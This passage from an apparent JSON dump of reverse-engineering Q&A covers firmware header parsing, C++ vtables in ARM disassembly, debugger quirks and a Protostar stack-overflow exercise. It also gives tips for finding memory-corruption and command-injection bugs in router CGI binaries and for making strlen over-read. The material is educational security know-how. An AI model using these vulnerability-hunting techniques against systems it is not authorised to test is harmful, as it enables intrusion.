        "Answer": "<p>The third one is an array to environment variables that this program has access to. If you read the documentation of <a href=\"http://man7.org/linux/man-pages/man2/execve.2.html\" rel=\"nofollow noreferrer\">execve</a> it reads as follows:</p>\n\n<blockquote>\n  <p>The argument vector and environment can be accessed by the called\n   program's main function, when it is defined as:</p>\n  \n  <p><code>int main(int argc, char *argv[], char *envp[])</code></p>\n  \n  <p>Note, however, that the use of a third argument to the main function\n   is not specified in POSIX.1; according to POSIX.1, the environment\n   should be accessed via the external variable environ(7).</p>\n</blockquote>\n"
    },
    {
        "Id": "22524",
        "CreationDate": "2019-11-12T16:50:43.573",
        "Body": "<p>I am fairly new to RE and Binary Exploitation, I have learned basic assembly instructions for Binary Exploitation and I was doing <a href=\"https://exploit.education/protostar/stack-zero/\" rel=\"nofollow noreferrer\">Protostar exercises (stack0)</a> in which I have to simply overflow the <code>buffer</code> variable. Disassembly of main function is:-</p>\n\n<pre><code>(gdb) disas main\nDump of assembler code for function main:\n0x080483f4 &lt;main+0&gt;:    push   ebp\n0x080483f5 &lt;main+1&gt;:    mov    ebp,esp\n0x080483f7 &lt;main+3&gt;:    and    esp,0xfffffff0\n0x080483fa &lt;main+6&gt;:    sub    esp,0x60\n0x080483fd &lt;main+9&gt;:    mov    DWORD PTR [esp+0x5c],0x0\n0x08048405 &lt;main+17&gt;:   lea    eax,[esp+0x1c]\n0x08048409 &lt;main+21&gt;:   mov    DWORD PTR [esp],eax\n0x0804840c &lt;main+24&gt;:   call   0x804830c &lt;gets@plt&gt;\n0x08048411 &lt;main+29&gt;:   mov    eax,DWORD PTR [esp+0x5c]\n0x08048415 &lt;main+33&gt;:   test   eax,eax\n0x08048417 &lt;main+35&gt;:   je     0x8048427 &lt;main+51&gt;\n0x08048419 &lt;main+37&gt;:   mov    DWORD PTR [esp],0x8048500\n0x08048420 &lt;main+44&gt;:   call   0x804832c &lt;puts@plt&gt;\n0x08048425 &lt;main+49&gt;:   jmp    0x8048433 &lt;main+63&gt;\n0x08048427 &lt;main+51&gt;:   mov    DWORD PTR [esp],0x8048529\n0x0804842e &lt;main+58&gt;:   call   0x804832c &lt;puts@plt&gt;\n0x08048433 &lt;main+63&gt;:   leave  \n0x08048434 &lt;main+64&gt;:   ret    \nEnd of assembler dump.\n</code></pre>\n\n<p>I set a break point on <code>ret</code> instruction and run the program but when I examine the stack in <code>gdb</code>, it shows this output(overflow after 90 A's): </p>\n\n<pre><code>(gdb) info registers\neax            0x29 41\necx            0xb7fd84c0   -1208122176\nedx            0xb7fd9340   -1208118464\nebx            0xb7fd7ff4   -1208123404\nesp            0xbffff7bc   0xbffff7bc\nebp            0x41414141   0x41414141\nesi            0x0  0\nedi            0x0  0\neip            0x8048434    0x8048434 &lt;main+64&gt;\neflags         0x200246 [ PF ZF IF ID ]\ncs             0x73 115\nss             0x7b 123\nds             0x7b 123\nes             0x7b 123\nfs             0x0  0\ngs             0x33 51\n</code></pre>\n\n<p>When looking at <code>ebp</code> I am really curious to know that what happened that caused <code>ebp</code> to have value <code>0x41414141</code>? What I understand is when <code>leave</code> isntruction is executed stack frame is destroyed and <code>x/x $esp is 0x41414141</code> which makes sense and <code>x/x $ebp is Cannot access memory at address 0x41414141</code>\nso how does value of <code>ebp</code> changed to <code>0x41414141</code>?</p>\n\n<p>PS: I already solved that exercise but while examining the stack I was not getting how <code>ebp</code> got changed and feel free to edit the question tag because I am not sure what tag will be appropriate.</p>\n",
        "Title": "gdb shows that EBP contains a value other than some address(which is what it is supposed to contain). How is this possible?",
        "Tags": "|binary-analysis|gdb|",
        "Answer": "<p>For the CPU, <code>ebp</code> (and even <code>esp</code> most of the time) are not really different from <code>eax</code>, <code>ebx</code> and other registers. They can contain any data, not necessarily valid addresses. You only get problems (faults/exceptions) if you actually try to execute instructions that use those registers as addresses (directly or indirectly), or, in case of <code>ESP</code>, <a href=\"https://wiki.osdev.org/Interrupts\" rel=\"nofollow noreferrer\">an interrupt happens</a>.</p>\n"
    },
    {
        "Id": "22549",
        "CreationDate": "2019-11-16T04:40:30.993",
        "Body": "<p>I am working on reversing a <a href=\"https://www.fujifilm.com/support/digital_cameras/software/firmware/s/finepix_s2500hd_series/exe/index/FPUPDATE.DAT\" rel=\"nofollow noreferrer\">firmware update from a FujiFilm FinePix S1800 camera</a>. So far I have managed to identify the instruction set (ARCompact) and dump a few things from the camera using the hidden service menu, one of which is called \"BOOTCODE\".</p>\n\n<p>The firmware update is not encrypted but has a couple of headers that I need to strip off.</p>\n\n<pre><code>00000000  52 48 49 52 01 10 07 01  00 06 05 00 01 00 a4 01  |RHIR............|\n00000010  01 00 00 00 01 00 dc 14  00 80 04 00 5a 04 aa a1  |............Z...|\n00000020  01 00 00 00 dd 14 31 07  00 80 2e 00 8a 60 7c 91  |......1......`|.|\n00000030  00 00 00 00 0e 1c 4c 05  00 00 43 00 cd 37 11 ea  |......L...C..7..|\n00000040  01 00 00 00 5a 21 21 00  00 a0 4d 00 f9 64 e2 8a  |....Z!!...M..d..|\n00000050  00 00 00 00 7b 21 a6 02  00 a0 4d 00 3f d3 06 86  |....{!....M.?...|\n00000060  00 00 00 00 22 24 34 00  00 a0 4d 00 3b 3c 2a 80  |....\"$4...M.;&lt;*.|\n00000070  02 00 00 00 20 b4 04 00  00 00 00 00 00 00 00 00  |.... ...........|\n00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000001f0  4b 48 49 52 80 9b fc 28  7f 64 03 d7 04 00 2f 01  |KHIR...(.d..../.|\n00000200  f1 c0 3a 09 e1 27 30 d0  fa 0f 81 33 d1 c0 e0 7e  |..:..'0....3...~|\n00000210  f1 c0 c6 0d 01 29 fc 1c  c8 b6 2c d0 00 88 0a 23  |.....)....,....#|\n00000220  00 37 80 e0 b8 08 02 00  26 0c 61 2a 00 dd 08 77  |.7......&amp;.a*...w|\n00000230  02 b8 07 e0 84 20 3f 0f  2a 0c 61 2a 02 24 1c 30  |..... ?.*.a*.$.0|\n00000240  8b 70 1a 70 17 f0 0e 0c  61 2a a9 70 8e 0e e1 26  |.p.p....a*.p...&amp;|\n00000250  3a 70 04 e0 84 20 3f 0f  0a 0c 61 2a 02 24 1c 30  |:p... ?...a*.$.0|\n00000260  8b 76 c9 70 0a 0f e1 26  2a 71 15 20 4c 23 c0 a4  |.v.p...&amp;*q. L#..|\n00000270  01 e5 d7 0d c2 93 00 d9  15 20 cc 23 20 a4 64 d9  |......... .# .d.|\n00000280  12 d0 22 a0 e9 70 5e 0c  a0 01 0a 71 42 0d 81 27  |..\"..p^....qB..'|\n</code></pre>\n\n<p>The <code>BOOTCODE.DMP</code> starts out with the same instructions located at <code>0x3620-0x36A0</code>, so this might be one of the entry points.</p>\n\n<p>The problem is, I am not sure where the headers finish and the ROM starts. I have tried to brute force the header format and so far have come up with nothing. Short of obtaining a TSOP programmer I have no other method of which to obtain a clean ROM dump of the device.</p>\n\n<p>In short, I am looking for help in two things:</p>\n\n<ul>\n<li>Extracting the ROM from the update file</li>\n<li>Determining the base for the ROM</li>\n</ul>\n\n<p><strong>Update (2019-11-16 18:28)</strong></p>\n\n<p>It seems the firmware dump of the boot code is prefixed by 16 bytes, the first four of which seem to denote the base address.</p>\n\n<p><strong>Update (2019-11-16 19:30)</strong></p>\n\n<p>Further analysis shows that the ROM may start at 0x200 as this de-compiles into the following with a guessed (but incorect) base address. Code that calls this address is also valid.</p>\n\n<pre><code>                 push    blink\n                 bl.d    sub_F015C518\n                 ld      r0, [unk_EFF0CCA4]\n                 bl      sub_F01743E0\n                 pop     blink\n                 j       [blink]\n</code></pre>\n",
        "Title": "Identifying ROM segment in unknown firmware update file",
        "Tags": "|firmware|entry-point|",
        "Answer": "<p>The binary is not a single monolithic block. I figured out the structure but it took a few false starts. </p>\n\n<p>First I loaded the Binary into IDA starting from offset 0x200 as you hinted. The functions were disassembled okay but the data references were mostly off. So I looked at the strings to see if there may be some candidates for a string table. This bunch looked promising:</p>\n\n<pre><code>ROM:0030D8F3 aLanguageZoneAl:.ascii \"LANGUAGE ZONE : ALL\"\nROM:0030D8F3                 .byte 0\nROM:0030D907 aLanguageZoneJp:.ascii \"LANGUAGE ZONE : JP\"\nROM:0030D907                 .byte 0\nROM:0030D91A aLanguageZoneUs:.ascii \"LANGUAGE ZONE : US\"\nROM:0030D91A                 .byte 0\nROM:0030D92D aLanguageZoneEu:.ascii \"LANGUAGE ZONE : EU\"\nROM:0030D92D                 .byte 0\n</code></pre>\n\n<p>Now, the proper way would be to write a script that would scan the database for a dword array with values having the same difference as string addresses. However, I was lazy so I though to myself, \"The image base/shift value is likely a multiple of 0x100, so the last byte of the address will be the same, i.e. I need to look for a table like\":</p>\n\n<pre><code>.. .. .. F3\n.. .. .. 07\n.. .. .. 1A\n</code></pre>\n\n<p>This can be easily done via <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/579.shtml\" rel=\"nofollow noreferrer\">Binary search</a> with the pattern \"F3 ? ? ? 07 ? ? ? 1A\" (without quotes; '?' denotes a wildcard byte). There was only one hit:</p>\n\n<pre><code>ROM:001A8DC4   .long unk_35A0F3\nROM:001A8DC8   .long unk_35A107\nROM:001A8DCC   .long unk_35A11A\n</code></pre>\n\n<p>So if the first string should be at 35A0F3, we need to rebase the binary by 0x35A0F3-0x30D8F3 = 0x4C800 bytes. This can be done via Edit-Segment-Rebase program..., Shift delta. Once done, our table is nicely displayed, and additional strings line up too:</p>\n\n<pre><code>ROM:001F55C4   .long aLanguageZoneAl   # \"LANGUAGE ZONE : ALL\"\nROM:001F55C8   .long aLanguageZoneJp   # \"LANGUAGE ZONE : JP\"\nROM:001F55CC   .long aLanguageZoneUs   # \"LANGUAGE ZONE : US\"\nROM:001F55D0   .long aLanguageZoneEu   # \"LANGUAGE ZONE : EU\"\nROM:001F55D4   .long aLanguageZoneEg   # \"LANGUAGE ZONE : EG\"\nROM:001F55D8   .long aLanguageZoneEe   # \"LANGUAGE ZONE : EE\"\nROM:001F55DC   .long aLanguageZoneE1   # \"LANGUAGE ZONE : E1\"\nROM:001F55E0   .long aLanguageZoneCh   # \"LANGUAGE ZONE : CH\"\nROM:001F55E4   .long aLanguageZoneUn   # \"LANGUAGE ZONE : Unknown\"\n</code></pre>\n\n<p>However, this makes the code start at 4C800 and there is no such value in the image header which made me suspicious it's not the full picture. So I decided to look for code which parses the headers. A good start for this is looking for magic values (like header signatures).</p>\n\n<p>Looking for 52 48 49 52 (\"RHIR\") did not give any hits (neither did the byte-swapped version). However, I remembered that ARCompact uses a peculiar way of encoding 32-bit immediates (aka \"long immediates\"): they are stored in <em>mixed endian</em> form (high word followed by low word). Searching for 49 52 52 48, I got one hit and after backing up to find the function start I got the following:</p>\n\n<pre><code>ROM:0018538E sub_18538E:\nROM:0018538E\nROM:0018538E var_4= -4\nROM:0018538E\nROM:0018538E     st.a    fp, [sp,var_4]\nROM:00185392     mov     fp, sp\nROM:00185396     sub     sp, sp, 4\nROM:00185398     mov     r18, r0\nROM:0018539A     mov     r16, r1\nROM:0018539C     sub     r1, fp, 4\nROM:001853A0     mov     r0, 6\nROM:001853A2     bl      sub_6CC44\nROM:001853A6     ld      r0, [fp,var_4]\nROM:001853AA     cmp     r0, r16\nROM:001853AC     bhs     loc_1853B2\nROM:001853AE     ld      r0, =0x1C00114\nROM:001853B0     b       loc_18541E\nROM:001853B2 # ---------------------------\nROM:001853B2\nROM:001853B2 loc_1853B2:                  \nROM:001853B2     ld      r0, [r18]\nROM:001853B6     mov     r13, r18\nROM:001853B8     mov     r17, r18\nROM:001853BC     cmp     r0, 0x52494852\nROM:001853C2     bne     loc_1853D8\nROM:001853C4     ld      r0, [r17,8]\nROM:001853C8     and     r20, r0, 0xFFFF00\nROM:001853D0     bl      sub_50814\nROM:001853D4     cmp     r0, r20\nROM:001853D6     beq     loc_1853DC\nROM:001853D8\nROM:001853D8 loc_1853D8:                  \nROM:001853D8     ld      r0, =0x1C00111\nROM:001853DA     b       loc_18541E\nROM:001853DC # ---------------------------\nROM:001853DC\nROM:001853DC loc_1853DC:                  \nROM:001853DC     add     r13, r13, 0x10\nROM:001853DE     mov     r15, 0\nROM:001853E0\nROM:001853E0 loc_1853E0:                  \nROM:001853E0     ldb     r0, [r17,6]\nROM:001853E4     cmp     r15, r0\nROM:001853E6     bge     loc_18541C\nROM:001853EA     ldw     r0, [r13]\nROM:001853EC     mov     r14, r13\nROM:001853EE     cmp     r0, 1\nROM:001853F0     bne     loc_185416\nROM:001853F2     ldw     r1, [r14,4]\nROM:001853F4     ldw     r2, [r14,6]\nROM:001853F6     asl     r1, r1, 9\nROM:001853F8     asl     r2, r2, 9\nROM:001853FA     mov     r19, r1\nROM:001853FC     add     r0, r1, r18\nROM:00185400     st      r2, [fp,var_4]\nROM:00185404     mov     r1, r2\nROM:00185406     bl      sub_24C9A4\nROM:0018540A     ld      r1, [r14,0xC]\nROM:0018540C     cmp     r0, r1\nROM:0018540E     beq     loc_185414\nROM:00185410     ld      r0, =0x1C00111\nROM:00185412     b       loc_18541E\nROM:00185414 # ---------------------------\nROM:00185414\nROM:00185414 loc_185414:                  \nROM:00185414     add     r13, r13, 0x10\nROM:00185416\nROM:00185416 loc_185416:                  \nROM:00185416     add     r15, r15, 1\nROM:00185418     sexw    r15, r15\nROM:0018541A     b       loc_1853E0\nROM:0018541C # ---------------------------\nROM:0018541C\nROM:0018541C loc_18541C:                  \nROM:0018541C     mov     r0, 0\nROM:0018541E\nROM:0018541E loc_18541E:                  \nROM:0018541E                              \nROM:0018541E     mov     sp, fp\nROM:00185422     ld.ab   fp, [sp,8+var_4]\nROM:00185426     b       __ac_pop_13_to_20\nROM:00185426 # End of function sub_18538E\n</code></pre>\n\n<p>We can clearly see the check against <code>0x52494852</code> (or \"RHIR\"), so it seems <code>r18</code> points to the start of the header. After some reversing the header structure seems to be like this:</p>\n\n<pre><code>struct ImageHeader\n{\n/* 00 */  uint32_t Signature;\n/* 04 */  uint8_t unk4[2];\n/* 06 */  uint8_t nblocks;\n/* 07 */  uint8_t unk7[1];\n/* 08 */  uint32_t platform;\n/* 0C */  uint32_t unkC;\n};\n</code></pre>\n\n<p>followed by an array  of blocks:</p>\n\n<pre><code>struct ImageBlock\n{\n/* 00 */    uint16_t type;\n/* 02 */    uint8_t pad2[2];\n/* 04 */    uint16_t start;\n/* 06 */    uint16_t size;\n/* 08 */    uint32_t unk8;\n/* 0C */    uint32_t checksum;\n};\n</code></pre>\n\n<p>the code is checking for blocks of type==1, for which it uses <code>start&lt;&lt;9</code> as an offset from the header start and <code>size&lt;&lt;9</code> as the size of the block to calculate the checksum and compare against <code>checksum</code> field.</p>\n\n<p>I made a <a href=\"https://gist.github.com/skochinsky/3b9f16ecf33f9906fdaebe8a356a09da\" rel=\"nofollow noreferrer\">quick script</a> to parse and print the header and here's the output:</p>\n\n<pre><code>unk4: 00001001\nblocks: 7\nplatform: 00050600\nunkC: 01A40001\nblock 0 type: 1\n  offset: 1 (200)\n  size: 14dc (29b800)\n  unk8: 00048000\n  checksum: A1AA045A\nblock 1 type: 1\n  offset: 14dd (29ba00)\n  size: 731 (e6200)\n  unk8: 002E8000\n  checksum: 917C608A\nblock 2 type: 0\n  offset: 1c0e (381c00)\n  size: 54c (a9800)\n  unk8: 00430000\n  checksum: EA1137CD\nblock 3 type: 1\n  offset: 215a (42b400)\n  size: 21 (4200)\n  unk8: 004DA000\n  checksum: 8AE264F9\nblock 4 type: 0\n  offset: 217b (42f600)\n  size: 2a6 (54c00)\n  unk8: 004DA000\n  checksum: 8606D33F\nblock 5 type: 0\n  offset: 2422 (484400)\n  size: 34 (6800)\n  unk8: 004DA000\n  checksum: 802A3C3B\nblock 6 type: 2\n  offset: b420 (1684000)\n  size: 4 (800)\n  unk8: 00000000\n  checksum: 00000000\n</code></pre>\n\n<p>So it seems we have these chunks :</p>\n\n<pre><code># type offset   size  unk8\n------------------------------\n0 1    200     29b800 00048000\n1 1    29ba00   e6200 002E8000\n2 0    381c00   a9800 00430000\n3 1    42b400    4200 004DA000\n4 0    42f600   54c00 004DA000\n5 0    484400    6800 004DA000\n6 2    1684000    800 00000000\n</code></pre>\n\n<p>unk8 looks very much like a memory address, and indeed if we check the string \"LANGUAGE ZONE : ALL\" which is at 30DAF3 in the file, this corresponds to chunk #1 and is at the same offset from its start (720F3) as our string in database(0035A0F3) from the hypothetical memory address 002E8000. After splitting the loaded data according to the table and moving chunks of type 1 to the correct addresses, I've got this layout:</p>\n\n<pre><code>CHUNK0  00048000 002E3800 \nCHUNK1  002E8000 003CE200 \nCHUNK3  004DA000 004DE200   \n</code></pre>\n"
    },
    {
        "Id": "22552",
        "CreationDate": "2019-11-16T11:49:21.163",
        "Body": "<p>I have 2 recorded IDA pro instruction traces, how can I get a list of differing instructions?</p>\n\n<p>I am able to load the diffs as overlays but there are a large amount of instructions recorded that are mostly the same so being able to get a short-list of the different instructions would save a lot of time.</p>\n\n<p>Thank you.</p>\n",
        "Title": "IDA - How can I get a list of differing instructions from 2 recorded instruction traces?",
        "Tags": "|ida|debugging|tracing|",
        "Answer": "<p>I don't think this is available from the UI, but there are APIs you can use to enumerate trace log records, e.g. see <code>tracing_api</code> plugin sample in the SDK. </p>\n"
    },
    {
        "Id": "22553",
        "CreationDate": "2019-11-16T14:02:13.590",
        "Body": "<p>In a program I'm trying to recover data structures I've discovered the following strange (ARM) disassembly code:</p>\n\n\n\n<pre><code>ctor_1:\n    ldr  r1, =vtable_base\n    str  r1, [r0]             ;r0 always contains object instance ptr\n    ;... more setup\n    bx   lr\n\nctor_2:\n    push {r4,lr}\n    mov  r4, r0\n    bl   ctor_1\n    ldr  r1, =vtable_derived\n    str  r1, [r0]             ;vtable override in derived class\n    add  r0, r0, #0x20\n    bl   obj_ctor             ;calls an object's ctor at r0+0x20\n    ldr  r1, =vtable_derived_so\n    str  r1, [r0, 0x20]       ;overrides object vtable\n    ;...\n    pop  {r4,lr}\n    bx   lr\n</code></pre>\n\n<p>So far it looks all fine. There seems to be a derived class overriding the vptr after the base class ctor has been called. An internal subobject is first initialized in <code>obj_ctor</code> and then the vtable is set to a derived subobject. The first strange thing is why <code>ctor_2</code> doesn't directly call the subobject's derived ctor which in turn sets up first the base subobject. I suppose this happened because the call has been inlined by the compiler.</p>\n\n<p>However, things get spicy when the whole object is again subclassed:</p>\n\n\n\n<pre><code>ctor_3:\n    push {r4,lr}\n    mov  r4, r0\n    bl   ctor_2\n    ldr  r1, =vtable_derived2\n    ldr  r2, =vtable_derived2_so\n    str  r1, [r0]           ;vtable to the new subclass\n    str  r2, [r0, 0x20]     ;what??\n    ;...\n    pop  {r4,lr}\n    bx   lr\n</code></pre>\n\n<p>I have absolutely no idea how this is possible. How can a subclass 'change' a member type (which is definitely not even a pointer) which has already been setup in a superclass? It is confirmed that <code>ctor_2</code> and <code>ctor_3</code> create both valid opaque objects.</p>\n\n<p><strong>Do I misunderstand how vtables work in disassembly? Could a compiler generate such code from valid C++?</strong></p>\n\n<p>I don't know if that's important, but the symbols <code>ctor_2</code> and the <code>ctor_2</code> called from <code>ctor_3</code> are actually different albeit executing the exact same code (maybe because of different ctors?).</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>This is how the destructors look like:</p>\n\n\n\n<pre><code>dtor_1:\n    push {r4, lr}\n    ldr  r1, =vtable_base\n    str  r1, [r0]                      ;why overwrite the vtable with the same value?\n    ;...calls to delete for heap objects\n    pop  {r4, lr}\n    bx   lr\n\ndtor_2:\n    push {r4, lr}\n    mov  r4, r0\n    ldr  r1, =vtable_derived\n    ldr  r2, =vtable_derived_so\n    str  r1, [r0]\n    str  r2, [r0, #0x20]\n    add  r0, r0, #0x20\n    bl   dtor_base_so\n    mov  r0, r4\n    bl   dtor_1\n    pop  {r4, lr}\n    bx   lr\n\ndtor_3:\n    push {r4, lr}\n    mov  r4, r0\n    ldr  r1, =vtable_derived2\n    ldr  r2, =vtable_derived2_so\n    str  r1, [r0]\n    str  r2, [r0, #0x20]\n    ;...\n    bl   dtor_2\n    pop  {r4, lr}\n    bx   lr\n</code></pre>\n\n<p>As you can see, the vtables are overwritten with the same value. There is no call to <code>dtor_derived2_so</code>, so the vtable overwrite seems unneccesary. Even more interesting is that when the subobject should be destructed, there's always a call to <code>dtor_base_so</code> and not <code>dtor_derived_so</code>. I checked the vtables of <code>derived_so</code> and <code>derived2_so</code> and they have the following two destructors:</p>\n\n\n\n<pre><code>dtor_derived_so:\n    ldr  r12, =0xFFFFFFE0              ;-0x20\n    add  r0, r0, r12\n    b    dtor_2\n\ndtor_derived2_so:\n    ldr  r12, =0xFFFFFFE0              ;-0x20\n    add  r0, r0, r12\n    b    dtor_3\n</code></pre>\n\n<p>When they're called they call immediately the corresponding dtor. Since they reference fixed locations at which the object should be destroyed, the subobjects seem to only exist inside <code>derived2</code>'s class. What is going on here? Why would one force the object's destruction if a subobject is destroyed? Or do we have here a special case of virtual inheritance?</p>\n\n<p>Here are the vtables:</p>\n\n\n\n<pre><code>vtable_base:\n    dcd  0x82016D20          ;dtor_1\n    dcd  0x82016CE0          ;dtor_1 (destruct and free)\n    dcd  0x82016BF8\n    dcd  0x82016C98\n    dcd  0x82016BB8\n    dcd  0x82016B78\nvtable_derived:\n    dcd  0x8201691C          ;dtor_2\n    dcd  0x820168D8          ;dtor_2 (destruct and free)\n    dcd  0x82016BF8\n    dcd  0x8201686C\n    dcd  0x8201682C\n    dcd  0x820167F8\n    dcd  0x820167C4\nvtable_derived2:\n    dcd  0x82016364          ;dtor_3\n    dcd  0x82016320          ;dtor_3 (destruct and free)\n    dcd  0x82016BF8\n    dcd  0x8201686C\n    dcd  0x8201682C\n    dcd  0x820167F8\n    dcd  0x820167C4\nvtable_base_so:\n    dcd  0x82015CE8          ;dtor_base_so\n    dcd  0x82015CC4          ;dtor_base_so (destruct and free)\nvtable_derived_so:\n    dcd  0x82017178          ;dtor_derived_so\n    dcd  0x82017168          ;dtor_derived_so (destruct and free)\nvtable_derived2_so:\n    dcd  0x820171B8          ;dtor_derived2_so\n    dcd  0x820171A8          ;dtor_derived2_so (destruct and free)\n</code></pre>\n",
        "Title": "Strange vtable setup in constructor disassembly",
        "Tags": "|disassembly|assembly|c++|arm|vtables|",
        "Answer": "<p>You're correctly interpreting C++'s way of implementing class inheritance, however your assumption that the \"subobject\" is a member object of the class may be incorrect.</p>\n\n<p>Through compiled code alone, It is impossible to completely distinguish member objects from additional inheritance in multiple inheritance classes as both appear the same. As a matter of fact, seeing something like this is one of the ways to distinguish a member object from multiple inheritance. Another is using <a href=\"https://en.wikipedia.org/wiki/RTTI\" rel=\"nofollow noreferrer\">RTTI</a> information, if it exists.</p>\n\n<p>In C++, multiple inheritance is implemented by appending one base class structure after the other, where all additional members are often be added to the first class (although if I remember correctly, that's not required by the standard). You can read about the memory layout of multiple inheritance classes in <a href=\"https://www.drdobbs.com/cpp/multiple-inheritance-considered-useful/184402074\" rel=\"nofollow noreferrer\">this</a> article, which also covers the diamond inheritance problem and it's common solution - <a href=\"https://en.wikipedia.org/wiki/Virtual_inheritance\" rel=\"nofollow noreferrer\"><em>virtual inheritance</em></a> - and the resulting memory layout.</p>\n\n<p>The following figure (taken from the article) illustrates the memory layout of a multiple-inheritance class:</p>\n\n<p><a href=\"https://twimgs.com/ddj/cuj/images/cuj0602reeves/0602reevesf2.jpeg\" rel=\"nofollow noreferrer\"><img src=\"https://twimgs.com/ddj/cuj/images/cuj0602reeves/0602reevesf2.jpeg\" alt=\"multiple inheritance class structure\"></a></p>\n\n<p>I also found <a href=\"https://gist.github.com/airekans/3215428\" rel=\"nofollow noreferrer\">this</a> gist example code that shows how multiple inheritance works under the hood and includes the expected structure in the comments at the top of the file.</p>\n\n<p>You should definitely check it out in <a href=\"https://godbolt.org/z/V5MZy8\" rel=\"nofollow noreferrer\">compiler explorer</a>. Where you could easily see how this all looks in most compiler and architecture configurations.</p>\n\n<p>I think the inclusion of names and symbols together with instant update upon modifications and the control over the optimization levels makes this a great way to understand the memory layout and code of multiple inheritance.</p>\n"
    },
    {
        "Id": "22557",
        "CreationDate": "2019-11-16T23:54:22.790",
        "Body": "<p>I'm pretty new to the whole reverse-engineering thing, but have some background knowledge in x86 asm and comp sci, as well as computer security.  </p>\n\n<p>Project-based learning has always worked well for me, so I'm trying to audit a mipsel router.  I've done the higher-level stuff such as vulnerable services, bad configurations, etc., but am trying to learn reverse engineering and exploitation.  I've been using Ghidra to disassemble and decompile the firmware, as it seemed to be by far the best in terms of decompilation for this architecture.  I'm mostly new to reverse engineering, and am struggling to find any possible vulnerabilities in the cgi-bin web interface.  I know this is a bit of a specialized area, so I'm looking for resources, but am struggling to find a ton on this specific domain.  Any resources on for which functions I should look, specific patterns that present issues, etc.?  I've got some obvious guesses (e.g. memcpy), but can't find much of a formal reference.  Devttys0 blog has been helpful (for instance this post: <a href=\"http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/\" rel=\"nofollow noreferrer\">http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/</a>), but there doesn't seem to be a ton of info on how to find the vulnerable functions.  There are lots of nice analysis plugins for x86 and even arm, but mips doesn't have as much fancy tooling.  </p>\n\n<p>Any help is appreciated; apologies if I didn't provide enough information, I will be happy to add more as needed.  Please let me know if you have thoughts, resources, or advice I can consult.  I appreciate your time.  </p>\n",
        "Title": "MIPS Router Firmware",
        "Tags": "|embedded|mips|ghidra|vulnerability-analysis|",
        "Answer": "<p>Start by looking for unsafe functions (e.g. <code>strcat</code>, <code>strcpy</code>, <code>sprintf</code>, <a href=\"https://github.com/intel/safestringlib/wiki/SDL-List-of-Banned-Functions\" rel=\"nofollow noreferrer\">etc.</a>) that may result in memory corruption vulnerabilities. This can be done by hand by browsing xrefs to function usages in the disassembly/decompilation. There also may be plugins/scripts out there to automate this.</p>\n\n<p>Also, look for other interesting functions. For example, look for calls to the <code>exec</code> family of functions. It's very possible that user input was concatenated at some point, resulting in a command injection vulnerability.</p>\n"
    },
    {
        "Id": "22559",
        "CreationDate": "2019-11-17T05:41:30.603",
        "Body": "<p>My question is related to the <code>strlen</code> function from the C and C++. </p>\n\n<p>I am reversing a program, that reads a byte data from allocated memory and sends to the <code>strlen</code> directly. To be completely honest this data is the hash value, so bytes could vary from 00 to FF.</p>\n\n<p>I have found out that I can abuse this function with zero bytes to make <code>strlen</code> outputting less value than it should (as an example the string is 10 bytes long, but <code>strlen</code> output is 6). </p>\n\n<p>Is there any way to abuse the function with any byte data inputted to <code>strlen</code> to output a bigger value(lets say 14)?</p>\n\n<p>Thank you.</p>\n",
        "Title": "Abusing the strlen output",
        "Tags": "|disassembly|c++|c|exploit|strings|",
        "Answer": "<p>Yes, if the input is not 0-terminated. If that's the case, <code>strlen</code> will happily continue counting bytes until it finds one, moving out of the input's bounds. It then depends on how clean the memory is where the input is allocated.</p>\n"
    },
    {
        "Id": "22565",
        "CreationDate": "2019-11-17T23:05:09.743",
        "Body": "<p>I'm trying to assemble this instruction:</p>\n<p><a href=\"https://i.stack.imgur.com/l2Fy4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/l2Fy4.png\" alt=\"enter image description here\" /></a></p>\n<p>I'm not being able to do it..</p>\n<p>When I test with MOV AX,55000 I get this error:</p>\n<p><a href=\"https://i.stack.imgur.com/6K4dR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6K4dR.png\" alt=\"enter image description here\" /></a></p>\n<p>I tested before in Cheat Engine, and this is working as AOB injection: MOV AX,#55000</p>\n<p>So if I test with the same syntax, ollydbg can't recognize it:</p>\n<p><a href=\"https://i.stack.imgur.com/lwqIz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lwqIz.png\" alt=\"enter image description here\" /></a></p>\n<p>I don't know how to assemble that instruction correctly:</p>\n<p>MOV AX,55000 instead of MOV AX,WORD PTR DS:[EBX+A4]</p>\n<p>In Cheat Engine it's working perfectly.</p>\n",
        "Title": "OllyDbg: Constant does not fit into operand",
        "Tags": "|assembly|ollydbg|",
        "Answer": "<p>OllyDbg is interpreting numbers as hex by default. But <code>0x55000</code> is larger than <code>0xFFFF</code> so it cannot be stored in a 16bit register, which <code>ax</code> is, hence it complains.</p>\n\n<p>If you meant the decimal number 55000, I think you can enter it as \"55000.\" with the trailing dot. If that doesn't work enter the number as hex:</p>\n\n<pre><code>mov ax, 0D6D8\n</code></pre>\n\n<p>The leading 0 is necessary otherwise the first character would be a letter and OllyDbg would not recognize it as a number.</p>\n"
    },
    {
        "Id": "22586",
        "CreationDate": "2019-11-20T17:16:57.430",
        "Body": "<p>Im reverse engineering an exe, but i get locked on a specific location, i suppose this is a jump to the same location, when im on this \"obfuscated\" addresses i cant see any instruction, but the actions looks like be <strong>JMP</strong> and <strong>RDTSC</strong>.</p>\n\n<p>Its bad configured <strong>OllyDBG</strong> ?</p>\n\n<p>Bug ?</p>\n\n<p>Some type of protection like <strong>VirtualProtect</strong> from MSDN ?</p>\n\n<p>Im using <strong>Windows 7 on VirtualBox</strong>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tASd1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tASd1.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Cant see mnemonics on ollydbg 2.01",
        "Tags": "|x86|assembly|",
        "Answer": "<p>Sometimes OllyDbg analysis of the code is incorrect and it shows data bytes instead.\nThis may happen if the segment of code you are looking at has no direct call/jmp into.</p>\n\n<p>If you right-click in the CPU window and select \"Remove analysis from module\" it will force everything in the disassembly window show as instructions. </p>\n"
    },
    {
        "Id": "22588",
        "CreationDate": "2019-11-20T23:26:13.613",
